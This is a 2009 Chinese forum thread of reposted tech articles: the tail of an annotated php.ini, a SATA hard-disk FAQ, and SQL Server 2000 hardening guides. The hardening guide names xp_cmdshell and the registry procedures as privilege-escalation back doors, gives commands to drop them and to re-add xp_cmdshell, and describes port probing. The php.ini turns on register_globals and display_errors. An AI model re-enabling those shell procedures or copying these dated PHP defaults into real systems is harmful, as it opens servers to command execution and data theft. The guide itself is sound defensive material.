; 它接受一个用逗号分隔的函数名列表。
; 这条指示 *不受* 安全模式是否打开的影响。

; 语法高亮模式的色彩。
; 只要能被<font color=???>接受的东西就能工作。

highlight.string = #DD0000
highlight.comment = #FF8000
highlight.keyword = #007700
highlight.bg = #FFFFFF
highlight.default = #0000BB
highlight.html = #000000

; Misc 杂项
expose_php = Off
; 决定 PHP 是否标示它装在服务器上的事实(例如:加在它 —PHP—给Web服务
; 发送的信号上)。
; (我个人的意见,在出现什么power-by的header的时候,把这关掉。)
; 它不会有安全上的威胁, 但它使检查你的服务器上是否安装了PHP成为了可能。


;;;;;;;;;;;;;;;;;;;
; Resource Limits ;
;;;;;;;;;;;;;;;;;;;

max_execution_time = 30 ; 每个脚本的最大执行时间, 按秒计
memory_limit = 8388608 ; 一个脚本最大可使用的内存总量 (这里是8MB)


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Error handling and logging ;
; 出错控制和登记 ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; 错误报告是按位的。或者将数字加起来得到想要的错误报告等级。
; E_ALL - 所有的错误和警告
; E_ERROR - 致命性运行时错
; E_WARNING - 运行时警告(非致命性错)
; E_PARSE - 编译时解析错误
; E_NOTICE - 运行时提醒(这些经常是是你的代码的bug引起的,
;也可能是有意的行为造成的。(如:基于未初始化的变量自动初始化为一个
;空字符串的事实而使用一个未初始化的变量)

; E_CORE_ERROR - 发生于PHP启动时初始化过程中的致命错误
; E_CORE_WARNING - 发生于PHP启动时初始化过程中的警告(非致命性错)
; E_COMPILE_ERROR - 编译时致命性错
; E_COMPILE_WARNING - 编译时警告(非致命性错)
; E_USER_ERROR - 用户产生的出错消息
; E_USER_WARNING - 用户产生的警告消息
; E_USER_NOTICE - 用户产生的提醒消息
; 例子:
; error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; 仅显示错误
error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒
display_errors = On ; 显示出错误信息(作为输出的一部分)
; 在最终发布的web站点上,强烈建议你关掉这个特性,并使用
; 错误日志代替(参看下面)。
; 在最终发布的web站点继续让 display_errors 有效可能
; 暴露一些有关安全的信息,例如你的web服务上的文件路径、
; 你的数据库规划或别的信息。

log_errors = Off ; 在日志文件里记录错误(服务器指定的日志,stderr标准错误输出,或error_log(下面的))
; 正如上面说明的那样,强烈建议你在最终发布的web站点以日志记录错误
; 取代直接错误输出。

track_errors = Off ; 保存最近一个 错误/警告 消息于变量 $php_errormsg (boolean)
;error_prepend_string = "<font color=ff0000>" ; 于错误信息前输出的字符串
;error_append_string = "</font>" ; 于错误信息后输出的字符串
;error_log = filename ; 记录错误日志于指定文件
;error_log = syslog ; 记录错误日志于系统日志 syslog (NT 下的事件日志, Windows 95下无效)
warn_plus_overloading = Off ; 当将‘+’用于字符串时警告


;;;;;;;;;;;;;;;;;
; Data Handling ;
;;;;;;;;;;;;;;;;;
variables_order = "EGPCS" ; 这条指示描述了PHP 记录
; GET, POST, Cookie, Environment and Built-in 这些变量的顺序。
; (以 G, P, C, E & S 代表,通常以 EGPCS 或 GPC 的方式引用)。
; 按从左到右记录,新值取代旧值。

register_globals = On ; 是否将这些 EGPCS 变量注册为全局变量。
; 若你不想让用户数据不在全局范围内混乱的话,你可能想关闭它。
; 这和 track_vars 连起来用更有意义 — 这样你可以通过
; $HTTP_*_VARS[] 数组访问所有的GPC变量。

register_argc_argv = On ; 这条指示告诉 PHP 是否声明 argv和argc 变量
; (注:这里argv为数组,argc为变量数)
; (其中包含用GET方法传来的数据)。
; 若你不想用这些变量,你应当关掉它以提高性能。

track_vars = On ; 使$HTTP_*_VARS[]数组有效,这里*在使用时用
; ENV, POST, GET, COOKIE or SERVER替换

gpc_order = "GPC" ; 这条指示被人反对。用 variables_order 代替。

; Magic quotes
magic_quotes_gpc = On ; 在输入的GET/POST/Cookie数据里使用魔术引用
; (原文就这样,呵呵,所谓magic quotes 应该是指用转义符加在引用性的控制字符上,如 &acute;....)
magic_quotes_runtime= Off ; 对运行时产生的数据使用魔术引用,
; 例如:用SQL查询得到的数据,用exec()函数得到的数据,等等
magic_quotes_sybase = Off ; 采用 Sybase形式的魔术引用(用 &acute;&acute; 脱出 &acute; 而不用 &acute;)

; 自动在 PHP 文档之前和之后添加文件
auto_prepend_file =
auto_append_file =

; 象4.04b4一样,PHP 默认地总是在 “Content-type:” 头标输出一个字符的编码方式。
; 让输出字符集失效,只要设置为空。
; PHP 的内建默认值是 text/html
default_mimetype = "text/html"
;default_charset = "iso-8859-1"

;;;;;;;;;;;;;;;;;;;;;;;;;
; Paths and Directories ;
;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; include 路径设置,UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; php 页面的根路径,仅在非空时有效
user_dir = ; 告知 php 在使用 /~username 打开脚本时到哪个目录下去找,仅在非空时有效
;upload_tmp_dir = ; 存放用HTTP协议上载的文件的临时目录(在没指定时使用系统默认的)
upload_max_filesize = 2097152 ; 文件上载默认地限制为2 Meg
extension_dir = c:php ; 存放可加载的扩充库(模块)的目录
enable_dl = On ; 是否使dl()有效。
; 在多线程的服务器上 dl()函数*不能*很好地工作,
; 例如IIS or Zeus,并在其上默认为禁止


;;;;;;;;;;;;;;;;;;;;;;
; 动态扩展 ;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
; 若你希望一个扩展库自动加载,用下面的语法:
; extension=modulename.extension
; 例如,在windows上,
; extension=msql.dll
; or 在UNIX下,
; extension=msql.so
; 注意,这只应当是模块的名字,不需要目录信息放在里面。
; 用上面的 extension_dir 指示指定扩展库的位置。


;Windows 扩展
;extension=php_nsmail.dll
extension=php_calendar.dll
;extension=php_dbase.dll
;extension=php_filepro.dll
extension=php_gd.dll
;extension=php_dbm.dll
;extension=php_mssql.dll
;extension=php_zlib.dll
;extension=php_filepro.dll
;extension=php_imap4r2.dll
;extension=php_ldap.dll
;extension=php_crypt.dll
;extension=php_msql2.dll
;extension=php_odbc.dll
; 注意, MySQL的支持现在是内建的,因此,不需要用它的dll


;;;;;;;;;;;;;;;;;;;
; 模块设定 ;
; Module Settings ;
;;;;;;;;;;;;;;;;;;;

[Syslog]
define_syslog_variables = Off ; 是否定义各种的系统日志变量
; 如:$LOG_PID, $LOG_CRON, 等等。
; 关掉它是个提高效率的好主意。
; 运行时,你可以调用函数define_syslog_variables(),来定义这些变量


[mail function]
SMTP = localhost ;仅用于win32系统
sendmail_from = me@localhost.com ;仅用于win32系统
;sendmail_path = ;仅用于unix, 也可支持参数(默认的是&acute;sendmail -t -i&acute;)

[Debugger]
debugger.host = localhost
debugger.port = 7869
debugger.enabled = False

[Logging]
; 这些配置指示用于示例的日志记录机制。
; 看 examples/README.logging 以得到更多的解释
;logging.method = db
;logging.directory = /path/to/log/directory

[SQL]
sql.safe_mode = Off

[ODBC]
;uodbc.default_db = Not yet implemented
;uodbc.default_user = Not yet implemented
;uodbc.default_pw = Not yet implemented
uodbc.allow_persistent = On ; 允许或禁止 持久连接
uodbc.check_persistent = On ; 在重用前检查连接是否还可用
uodbc.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
uodbc.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
uodbc.defaultlrl = 4096 ; 控制 LONG 类型的字段。返回变量的字节数,0 代表通过(?)0 means passthru
uodbc.defaultbinmode = 1 ; 控制 二进制数据。0 代表?????Handling of binary data. 0 means passthru, 1 return as is, 2 convert to char
; 见有关 odbc_binmode 和 odbc_longreadlen 的文档以得到 uodbc.defaultlrl 和 uodbc.defaultbinmode 的解释。

[MySQL]
mysql.allow_persistent = On ; 允许或禁止 持久连接
mysql.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
mysql.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
mysql.default_port = ; mysql_connect() 使用的默认端口,如不设置,mysql_connect()
; 将使用变量 $MYSQL_TCP_PORT,或在/etc/services 下的mysql-tcp 条目(unix),
; 或在编译是定义的 MYSQL_PORT(按这样的顺序)
; Win32环境,将仅检查MYSQL_PORT。
mysql.default_socket = ; 用于本地 MySql 连接的默认的套接字名。为空,使用 MYSQL 内建值

mysql.default_host = ; mysql_connect() 默认使用的主机(安全模式下无效)
mysql.default_user = ; mysql_connect() 默认使用的用户名(安全模式下无效)
mysql.default_password = ; mysql_connect() 默认使用的密码(安全模式下无效)
; 注意,在这个文件下保存密码通常是一个*坏*主意
; *任何*可以使用PHP访问的用户可以运行
; &acute;echo cfg_get_var("mysql.default_password")&acute;来显示那个密码!
; 而且当然地,任何有读该文件权力的用户也能看到那个密码。

[mSQL]
msql.allow_persistent = On ; 允许或禁止 持久连接
msql.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
msql.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制

[PostgresSQL]
pgsql.allow_persistent = On ; 允许或禁止 持久连接
pgsql.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
pgsql.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制

[Sybase]
sybase.allow_persistent = On ; 允许或禁止 持久连接
sybase.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
sybase.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10 ; 显示的错误的最低严重性
sybase.min_message_severity = 10 ; 显示的消息的最低重要性
sybase.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式。若打开,这将导致 PHP 自动地
; 把根据结果的 Sybase 类型赋予它们,
; 而不是把它们全当成字符串。
; 这个兼容模式不会永远留着,
; 因此,将你的代码进行需要的修改,
; 并将该项关闭。

[Sybase-CT]
sybct.allow_persistent = On ; 允许或禁止 持久连接
sybct.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
sybct.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
sybct.min_server_severity = 10 ; minimum server message severity to display
sybct.min_client_severity = 10 ; minimum client message severity to display

[bcmath]
bcmath.scale = 0 ; 用于所有bcmath函数的10十进制数数字的个数number of decimal digits for all bcmath functions

[browscap]
;browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvrowscap.ini
[Informix]
ifx.default_host = ; ifx_connect() 默认使用的主机(安全模式下无效)
ifx.default_user = ; ifx_connect() 默认使用的用户名(安全模式下无效)
ifx.default_password = ; ifx_connect() 默认使用的密码(安全模式下无效)
ifx.allow_persistent = On ; 允许或禁止 持久连接
ifx.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
ifx.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
ifx.textasvarchar = 0 ; 若打开,select 状态符返回一个 ‘text blob’字段的内容,而不是它的id
ifx.byteasvarchar = 0 ; 若打开,select 状态符返回一个 ‘byte blob’字段的内容,而不是它的id
ifx.charasvarchar = 0 ; 追踪从固定长度的字符列里剥离的空格。
; 可能对 Informix SE 用户有效。
ifx.blobinfile = 0 ; 若打开,text和byte blobs 的内容被导出到一个文件
; 而不是保存到内存。
ifx.nullformat = 0 ; NULL(空)被作为空字段返回,除非,这里被设为1。
; 这种情况下(为1),NULL作为字串NULL返回。

[Session]
session.save_handler = files ; 用于保存/取回数据的控制方式
session.save_path = C:win emp ; 在 save_handler 设为文件时传给控制器的参数,
; 这是数据文件将保存的路径。
session.use_cookies = 1 ; 是否使用cookies
session.name = PHPSESSID
; 用在cookie里的session的名字
session.auto_start = 0 ; 在请求启动时初始化session
session.cookie_lifetime = 0 ; 为按秒记的cookie的保存时间,
; 或为0时,直到浏览器被重启
session.cookie_path = / ; cookie的有效路径
session.cookie_domain = ; cookie的有效域
session.serialize_handler = php ; 用于连接数据的控制器
; php是 PHP 的标准控制器。
session.gc_probability = 1 ; 按百分比的&acute;garbage collection(碎片整理)&acute;进程
; 在每次 session 初始化的时候开始的可能性。
session.gc_maxlifetime = 1440 ; 在这里数字所指的秒数后,保存的数据将被视为
; &acute;碎片(garbage)&acute;并由gc 进程清理掉。
session.referer_check = ; 检查 HTTP引用以使额外包含于URLs中的ids无效
session.entropy_length = 0 ; 从文件中读取多少字节
session.entropy_file = ; 指定这里建立 session id
; session.entropy_length = 16
; session.entropy_file = /dev/urandom
session.cache_limiter = nocache ; 设为{nocache,private,public},以决定 HTTP 的
; 缓存问题
session.cache_expire = 180 ; 文档在 n 分钟后过时

[MSSQL]
;extension=php_mssql.dll
mssql.allow_persistent = On ; 允许或禁止 持久连接
mssql.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
mssql.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
mssql.min_error_severity = 10 ; 显示的错误的最低严重性
mssql.min_message_severity = 10 ; 显示的消息的最低重要性
mssql.compatability_mode = Off ; 与旧版的PHP 3.0 兼容的模式。

[Assertion]
; ?????
;assert.active = On ; ?assert(expr); active by default
;assert.warning = On ; issue a PHP warning for each failed assertion.
;assert.bail = Off ; don&acute;t bail out by default.
;assert.callback = 0 ; user-function to be called if an assertion fails.
;assert.quiet_eval = 0 ; eval the expression with current error_reporting(). set to true if you want error_reporting(0) around the eval().

[Ingres II]
ii.allow_persistent = On ; 允许或禁止 持久连接
ii.max_persistent = -1 ; 持久连接的最大数。-1 代表无限制
ii.max_links = -1 ; 连接的最大数目(持久和非持久)。-1 代表无限制
ii.default_database = ; 默认 database (format : [node_id::]dbname[/srv_class]
ii.default_user = ; 默认 user
ii.default_password = ; 默认 password

[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com" ; 默认的 Signio 服务器
pfpro.defaultport = 443 ; 连接的默认端口
pfpro.defaulttimeout = 30 ; 按秒计的默认超时时间

; pfpro.proxyaddress = ; 默认的代理的 IP 地址(如果需要)
; pfpro.proxyport = ; 默认的代理的端口
; pfpro.proxylogon = ; 默认的代理的登录(logon 用户名)
; pfpro.proxypassword = ; 默认的代理的密码

; Local Variables:
; tab-width: 4
; End:

回复 支持 反对

使用道具 举报

6#
发表于 2009-11-12 19:11:41 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
SATA硬盘安装使用必读问答集- -
                                       
随着各厂家SATA(串行接口)硬盘价格的持续走低,支持SATA的主板逐渐普及,越来越多的人选择SATA硬盘来构建自己的电脑平台。但是由于SATA硬盘有别于PATA(并行接口)硬盘,安装和使用中会有很多不同,这让很多用户在购买后遇到很多麻烦。本文将以问答形式,对一些常见的问题给予说明:


问: 听说SATA硬盘的数据线和电源线接口不同于PATA硬盘的,在购买SATA硬盘时是否需要额外购买?

  答: 一般支持SATA硬盘的主板都会附带一条专用7芯数据线和电源线,而现在的新型电源基本也都提供了SATA设备的专有供电接口。另外,有些SATA硬盘还额外搭配了一个原PATA硬盘使用的D型电源接口,可以兼容使用旧有的电源。所以通常我们并不需额外购买。如果确实需要,SATA数据线大约10元,电源接口转接线也在10元上下,电脑市场都有销售,质量尚可。

  问: SATA硬盘安装系统时,是否都要额外加载驱动才能找到硬盘?

  答: 不全是,要分情况而定。

  在安装DOS/Win98/WinMe系统时,SATA硬盘不需要加载任何驱动,可与PATA硬盘一样使用。

  在安装Win2000/XP/2003系统时,一般由主板南桥芯片(如Intel的ICH5/R,VIA的VT8237等)提供的SATA控制器在没有内置或在BIOS设置中屏蔽了RAID功能时,也不需要加载驱动即可找到硬盘;在开启RAID时,需要加载驱动。而使用第三方芯片的SATA控制器,则必须加载驱动。

  问: 必须安装SATA驱动的情况下,没有配备软驱怎么办?

  答: 现阶段,Win2000/XP系统安装光盘加载额外设备驱动时,只读取软驱。

  虽然,我们可以自己打造一张集成了所需SATA控制驱动的系统安装光盘,来免去必须从软驱加载的麻烦。但是,其制作方法和设置很复杂,需要对Windows系统加载驱动的方式和SATA驱动文件有一定的了解,而且设置中稍有一点错误都会导致驱动加载不成功。所以还是推荐花50元买个软驱省得麻烦。

    问: SATA硬盘驱动有通用驱动吗?

  答: SATA驱动并不是指硬盘的驱动,而是指SATA控制器驱动,分为主板芯片组南桥内置和额外添加的第三方控制芯片两类,各厂家的驱动不能通用。

  各厂家都有不同的设计(在BIOS设置中就可看出不同),Intel、VIA、SiS主板芯片的SATA控制器部分就不同,更别说其他的第三方控制器了,所以近期也不太可能有统一的驱动。最大的希望是微软能在后续的系统安装光盘中直接集成各大厂家的SATA控制驱动,那就最方便了。

  一般主板都会附带驱动软盘,但也有仅提供主板驱动光盘的,需要将SATA驱动文件拷贝到软盘。还有的是需要用主板光盘的特定程序制作SATA驱动软盘,这点需要看主板说明书上的相关说明。

  问: SATA硬盘能和PATA硬盘共存吗?

  答: 当然可以,但根据SATA控制器设置有所不同。

  让SATA和PATA和平共处的关键在于其占用的IDE通道位置不能冲突。还要注意,DOS/Win98/WinMe系统只能支持4个IDE设备,而Win2000/XP/2003系统可支持6个设备(注:第三方的SATA控制器可突破此限制)。关于SATA占用IDE通道位置的设置部分,各厂家有所不同。以Intel 865PE芯片组的ICH5南桥为例:进入BIOS后,选择Main下的IDE Configuration Menu,在Onboard IDE Operate Mode下面可以选择两种IDE操作模式:兼容模式和增强模式(Compatible Mode和Enhanced Mode)。其中Compatible Mode,可以理解为把SATA硬盘端口映射到并口IDE通道的相应端口,通常适用于DOS/Win98/WinMe系统;Enhanced Mode下的SATA硬盘将使用独立的IDE通道,不与原PATA设备冲突,但仅适用于Win2000/XP/2003系统。

  问: SATA硬盘不支持FDISK和DM等分区工具以及GHOST软件了吗?

  答: 当然支持。使用这类软件有问题的情况多出现在以ICH5为南桥的主板上,因为这些软件都是基于DOS平台的,所以如上文所说必须采用兼容模式(Compatible Mode),当设置为增强模式(Enhanced Mode)时就会引发这些软件不能使用的故障。

  另外,使用160GB及以上容量的SATA硬盘时,由于FDISK(Win98版本)和DM这类分区软件推出较早,并不能完善支持大于137GB硬盘的48bit寻址,有可能引起莫名其妙的故障,所以最稳妥的方法是使用集成了SP1补丁的WinXP系统安装光盘,在安装系统前只分一个区用来安装系统(Win2000系统也是一样,需SP4补丁)。

  等装好了系统,先修改注册表,在"运行"中输入regedt32,回车确定。在HKEY_LOCAL_MACHINESYSTEMC
urrentControlSetServicesAtapiParameters子项下新建一个键值:点菜单栏的编辑→添加数值,数值名称: EnableBigLba ,数值类型: DWORD,数值:1 。然后再用"控制面板→计算机管理"工具中的磁盘管理功能分其余的分区。

    问: SATA硬盘上可以安装Linux系统吗?

  答: 可以。如RedHat 9,在安装之前需要设置为Compatible Mode,否则就会找不到硬盘。安装好后,要升级内核到2.4.22,如果使用的CPU支持超线程,请在编译内核时选择SMP的支持。接着修改GRUB的启动参数,将 hda 改成 hde,分区号不变。还有fstab也需改一下,不然启动后不能激活"SWAP"交换分区。重新启动后,将BIOS中的Compatible Mode改为Enhanced Mode,这样就能发挥SATA接口的性能了。

  问: 据说SATA硬盘支持热插拔,确实可以使用此功能吗?

  答: 目前SATA技术分为V1.0和V2.0两个版本,其中V1.0不支持热插拔技术,在V2.0规格中SATA实现了热插拔功能。

  对热插拔产生影响的只有主板和硬盘本身而已,只要硬盘和主板都支持这个功能,再安装了正确的驱动程序,就可以实现硬盘热插拔了,至于选用何种操作系统都没有关系。现在市场上新推出的硬盘如希捷酷鱼7200.7.SATA硬盘就支持V2.0规格,并且因为传统PATA的4Pin电源插头不能支持热插拔的功能,所以希捷这个系列的硬盘均不支持传统PATA的4Pin电源接头。这个功能还需主板支持,由于Intel的ICH5南桥芯片不支持热插拔功能,所以i865系列的主板都不能支持此功能。现在官方对外宣布支持SATA热插拔的主板厂商很少,只有华擎,具体支持此功能的型号可以看http://www.asrock.com/product/index_china.htm

  另外,虽然主板硬盘都支持热插拔了,但是在没切断硬盘电源的情况下,仅热插拔SATA 数据线,有时会导致热插拔功能的失效。而且注意两次连续热插拔操作的时间间隔必须超过5 秒钟。SiS等芯片的SATA控制器,有专门的SATA控制软件,可以使SATA的热插拔更加安全可靠。不过,目前看来SATA的热插拔技术还没有完全成熟,毕竟硬盘不同于闪存等外设,它更加脆弱,所以请慎用热插拔。

  总结

  每一个新技术的诞生,性能和功能提高的同时,多会伴随着设置和使用上的不习惯。目前采用SATA接口的设备已经形成一种趋势,将来除了硬盘还会有更多的设备SATA化,我们要紧紧抓着潮流,尽快了解和掌握它。希望本文能使即将选购SATA硬盘的读者对它有一个较全面的了解,免去使用中遇到问题手足无措的尴尬。

回复 支持 反对

使用道具 举报

7#
发表于 2009-11-12 19:11:58 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
Server 2000的安全配置

    数据库是电子商务、金融以及ERP系统的基础,通常都保存着重要的商业伙伴和客户信息。大多数企业、组织以及政府部门的电子数据都保存在各种数据库中,他们用这些数据库保存一些个人资料,比如员工薪水、个人资料等等。数据库服务器还掌握着敏感的金融数据。包括交易记录、商业事务和帐号数据,战略上的或者专业的信息,比如专利和工程数据,甚至市场计划等等应该保护起来防止竞争者和其他非法者获取的资料。数据完整性和合法存取会受到很多方面的安全威胁,包括密码策略、系统后门、数据库操作以及本身的安全方案。但是数据库通常没有象操作系统和网络这样在安全性上受到重视。

    微软的SQL Server是一种广泛使用的数据库,很多电子商务网站、企业内部信息化平台等都是基于SQL Server上的,但是数据库的安全性还没有被人们更系统的安全性等同起来,多数管理员认为只要把网络和操作系统的安全搞好了,那么所有的应用程序也就安全了。大多数系统管理员对数据库不熟悉而数据库管理员有对安全问题关心太少,而且一些安全公司也忽略数据库安全,这就使数据库的安全问题更加严峻了。数据库系统中存在的安全漏洞和不当的配置通常会造成严重的后果,而且都难以发现。数据库应用程序通常同操作系统的最高管理员密切相关。广泛SQL Server数据库又是属于“端口”型的数据库,这就表示任何人都能够用分析工具试图连接到数据库上,从而绕过操作系统的安全机制,进而闯入系统、破坏和窃取数据资料,甚至破坏整个系统。

    这里,我们主要谈论有关SQL Server2000数据库的安全配置以及一些相关的安全和使用上的问题。

    在进行SQL Server 2000数据库的安全配置之前,首先你必须对操作系统进行安全配置,保证你的操作系统处于安全状态。然后对你要使用的操作数据库软件(程序)进行必要的安全审核,比如对ASP、PHP等脚本,这是很多基于数据库的WEB应用常出现的安全隐患,对于脚本主要是一个过滤问题,需要过滤一些类似 , ‘ ; @ / 等字符,防止破坏者构造恶意的SQL语句。接着,安装SQL Server2000后请打上补丁sp1以及最新的sp2。

    在做完上面三步基础之后,我们再来讨论SQL Server的安全配置。

    1、使用安全的密码策略

    我们把密码策略摆在所有安全配置的第一步,请注意,很多数据库帐号的密码过于简单,这跟系统密码过于简单是一个道理。对于sa更应该注意,同时不要让sa帐号的密码写于应用程序或者脚本中。健壮的密码是安全的第一步!

SQL Server2000安装的时候,如果是使用混合模式,那么就需要输入sa的密码,除非你确认必须使用空密码。这比以前的版本有所改进。

    同时养成定期修改密码的好习惯。数据库管理员应该定期查看是否有不符合密码要求的帐号。比如使用下面的SQL语句:    Use master
    Select name,Password from syslogins where password is null

    2、使用安全的帐号策略。

    由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,我们必须对这个帐号进行最强的保护,当然,包括使用一个非常强壮的密码,最好不要在数据库应用中使用sa帐号,只有当没有其它方法登录到 SQL Server 实例(例如,当其它系统管理员不可用或忘记了密码)时才使用 sa。建议数据库管理员新建立一个拥有与sa一样权限的超级用户来管理数据库。安全的帐号策略还包括不要让管理员权限的帐号泛滥。 SQL Server的认证模式有Windows身份认证和混合身份认证两种。如果数据库管理员不希望操作系统管理员来通过操作系统登陆来接触数据库的话,可以在帐号管理中把系统帐号“BUILTINAdministrators”删除。不过这样做的结果是一旦sa帐号忘记密码的话,就没有办法来恢复了。

    很多主机使用数据库应用只是用来做查询、修改等简单功能的,请根据实际需要分配帐号,并赋予仅仅能够满足应用要求和需要的权限。比如,只要查询功能的,那么就使用一个简单的public帐号能够select就可以了。

    3、加强数据库日志的记录。

    审核数据库登录事件的“失败和成功”,在实例属性中选择“安全性”,将其中的审核级别选定为全部,这样在数据库系统和操作系统日志里面,就详细记录了所有帐号的登录事件。

    请定期查看SQL Server日志检查是否有可疑的登录事件发生,或者使用DOS命令。

    findstr /C:"登录" d:Microsoft SQL ServerMSSQLLOG*.*

    4、管理扩展存储过程

    对存储过程进行大手术,并且对帐号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程,而SQL Server的这么多系统存储过程只是用来适应广大用户需求的,所以请删除不必要的存储过程,因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。

    如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:

    use master
    sp_dropextendedproc 'xp_cmdshell'

    xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。

    sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

    如果你不需要请丢弃OLE自动存储过程(会造成管理器中的某些特征不能使用),这些过程包括如下:

Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop

    去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来,如下:

    Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
    Xp_regread Xp_regremovemultistring Xp_regwrite

    还有一些其他的扩展存储过程,你也最好检查检查。
   
    使用系统帐户登陆查询分析器
    运行以下脚本
use master
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_dropextendedproc 'xp_dirtree'
exec sp_dropextendedproc 'xp_enumgroups'
exec sp_dropextendedproc 'xp_fixeddrives'
exec sp_dropextendedproc 'xp_loginconfig'
exec sp_dropextendedproc 'xp_enumerrorlogs'
exec sp_dropextendedproc 'xp_getfiledetails'
exec sp_dropextendedproc 'Sp_OACreate'
exec sp_dropextendedproc 'Sp_OADestroy'
exec sp_dropextendedproc 'Sp_OAGetErrorInfo'
exec sp_dropextendedproc 'Sp_OAGetProperty'
exec sp_dropextendedproc 'Sp_OAMethod'
exec sp_dropextendedproc 'Sp_OASetProperty'
exec sp_dropextendedproc 'Sp_OAStop'
exec sp_dropextendedproc 'Xp_regaddmultistring'
exec sp_dropextendedproc 'Xp_regdeletekey'
exec sp_dropextendedproc 'Xp_regdeletevalue'
exec sp_dropextendedproc 'Xp_regenumvalues'
exec sp_dropextendedproc 'Xp_regread'
exec sp_dropextendedproc 'Xp_regremovemultistring'
exec sp_dropextendedproc 'Xp_regwrite'
drop procedure sp_makewebtask
go
    删除所有危险的扩展.
   
   在处理存储过程的时候,请确认一下,避免造成对数据库或应用程序的伤害。

    5、使用协议加密

    SQL Server 2000使用的Tabular Data Stream协议来进行网络数据交换,如果不加密的话,所有的网络传输都是明文的,包括密码、数据库内容等等,这是一个很大的安全威胁。能被人在网络中截获到他们需要的东西,包括数据库帐号和密码。所以,在条件容许情况下,最好使用SSL来加密协议,当然,你需要一个证书来支持。

    6、不要让人随便探测到你的TCP/IP端口

    默认情况下,SQL Server使用1433端口监听,很多人都说SQL Server配置的时候要把这个端口改变,这样别人就不能很容易地知道使用的什么端口了。可惜,通过微软未公开的1434端口的UDP探测可以很容易知道SQL Server使用的什么TCP/IP端口了(请参考《深入探索SQL Server网络连接的安全问题》)。 不过微软还是考虑到了这个问题,毕竟公开而且开放的端口会引起不必要的麻烦。在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例。如果隐藏了 SQL Server 实例,则将禁止对试图枚举网络上现有的 SQL Server 实例的客户端所发出的广播作出响应。这样,别人就不能用1434来探测你的TCP/IP端口了(除非用Port Scan)。

    7、修改TCP/IP使用的端口

    请在上一步配置的基础上,更改原默认的1433端口。在实例属性中选择网络配置中的TCP/IP协议的属性,将TCP/IP使用的默认端口变为其他端口。

    8、拒绝来自1434端口的探测

    由于1434端口探测没有限制,能够被别人探测到一些数据库信息,而且还可能遭到DOS攻击让数据库服务器的CPU负荷增大,所以对Windows 2000操作系统来说,在IPSec过滤拒绝掉1434端口的UDP通讯,可以尽可能地隐藏你的SQL Server。

     9、对网络连接进行IP限制

    SQL Server 2000数据库系统本身没有提供网络连接的安全解决办法,但是Windows 2000提供了这样的安全机制。使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制,只保证自己的IP能够访问,也拒绝其他IP进行的端口连接,把来自网络上的安全威胁进行有效的控制。

   上面主要介绍的一些SQL Server的安全配置,经过以上的配置,可以让SQL Server本身具备足够的安全防范能力。当然,更主要的还是要加强内部的安全控制和管理员的安全培训,而且安全性问题是一个长期的解决过程,还需要以后进行更多的安全维护。

回复 支持 反对

使用道具 举报

8#
发表于 2009-11-12 19:12:11 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
SQL Server安全列表

来源:www.hackbase.com

    1. 确认已经安装了NT/2000和SQL Server的最新补丁程序,不用说大家应该已经安装好了,但是我觉得最好还是在这里提醒一下。
  2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。
  3. 给 "sa" 和 "probe" 帐户设定强壮的密码来加强其安全性。设定一个强壮的密码并将其保存在一个安全的地方。 注意: probe帐户被用来进行性能分析和分发传输。 当在标准的安全模态中用的时候 , 给这个帐户设定高强度的密码能影响某些功能的使用。
  4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。 这个帐户应该有最小的权利 ( 注意作为一个服务运行的权利是必须的)和应该包含( 但不停止)在妥协的情况下对服务器的攻击。 注意当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的 ACLs同时被处理。
